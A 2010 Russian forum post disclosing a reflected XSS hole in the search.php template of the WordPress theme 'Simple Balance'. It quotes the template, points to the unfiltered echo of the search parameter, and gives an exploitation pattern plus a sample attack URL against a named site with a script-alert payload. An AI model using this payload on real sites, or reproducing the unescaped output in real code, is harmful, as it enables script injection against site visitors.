
06.06.2010, 21:49
|
|
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
Провел на форуме: 11581319
Репутация:
241
|
|
Wordpress 2.9.2 Passive XSS
Search.php
Сразу оговорюсь, данная уязвимость присутствует не во всех wp-темах.
Рассмотрим тему Simple Balance
search.php:
PHP код:
<?php include (TEMPLATEPATH . '/header.php'); ?>
<div id="page">
<?php
if (!isset($theme_options["layout_style"]) || $theme_options["layout_style"] == "scs") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>
<div id="content">
<?php include (TEMPLATEPATH . '/topads.php'); ?>
<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>
<?php if (have_posts()) : ?>
<?php while (have_posts()) : the_post(); ?>
<div class="post">
<div class="postTitle"><h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?></a></h2></div>
<div class="postInfo">Опубликовано <?php the_time('d.m.Y'); ?> в рубрике <?php the_category(', ') ?> <?php edit_post_link('изменить', '(', ')'); ?></div>
<div class="postContent">
<?php the_excerpt(); ?>
</div>
<?php if(function_exists('the_tags')) { ?><div class="postExtras"><strong>Метки:</strong> <?php the_tags('', ', ', ''); ?></div><?php } ?>
<div class="postMeta">
<span class="postLink"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>">Читать пост</a></span>
<?php
$comNo = get_comment_type_count('comment'); // Checking if there are any actual comments (trackbacks and pingbacks excluded)
if ($comNo == 1 ) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируете?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
elseif ($comNo > 1) {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируете?', 'Один комментарий', 'Комментариев '.$comNo.''); ?></span>
<?php }
else {
?>
<span class="postComments"><?php comments_popup_link('Прокомментируете?', 'Прокомментируете?', 'Прокомментируете?'); ?></span>
<?php } ?>
</div>
</div>
<?php endwhile; ?>
<div class="navigation">
<div class="left"><?php previous_posts_link('« В будущее') ?></div>
<div class="right"><?php next_posts_link('В прошлое »') ?></div>
</div>
<?php else: ?>
Ничего не найдено.<br />
Извините, по вашему запросу ничего не найдено. Возможно, вам стоит изменить параметры поиска?
<?php endif; ?>
</div>
<?php
if (isset($theme_options["layout_style"]) && $theme_options["layout_style"] == "css") {
include (TEMPLATEPATH . '/lsidebar.php');
}
?>
<?php include (TEMPLATEPATH . '/rsidebar.php'); ?>
</div>
<?php include (TEMPLATEPATH . '/footer.php'); ?>
нас интересует только:
PHP код:
<h4 class="archiveTitle">Результаты поиска <strong>'<?php echo $s?>'</strong></h4>
Как видим, скрипт выводит параметр $s, никак не фильтруя его.
Соответственно если передать скрипту js код в теге <script>, он выполнится.
Эксплуатация:[host]/[path]/?s=[xss]
Пример: http://seocekret.ru/?s=<script>alert()</script>
Последний раз редактировалось total90; 07.06.2010 в 19:40..
Причина: спасибо brain[pillow]
|
|
|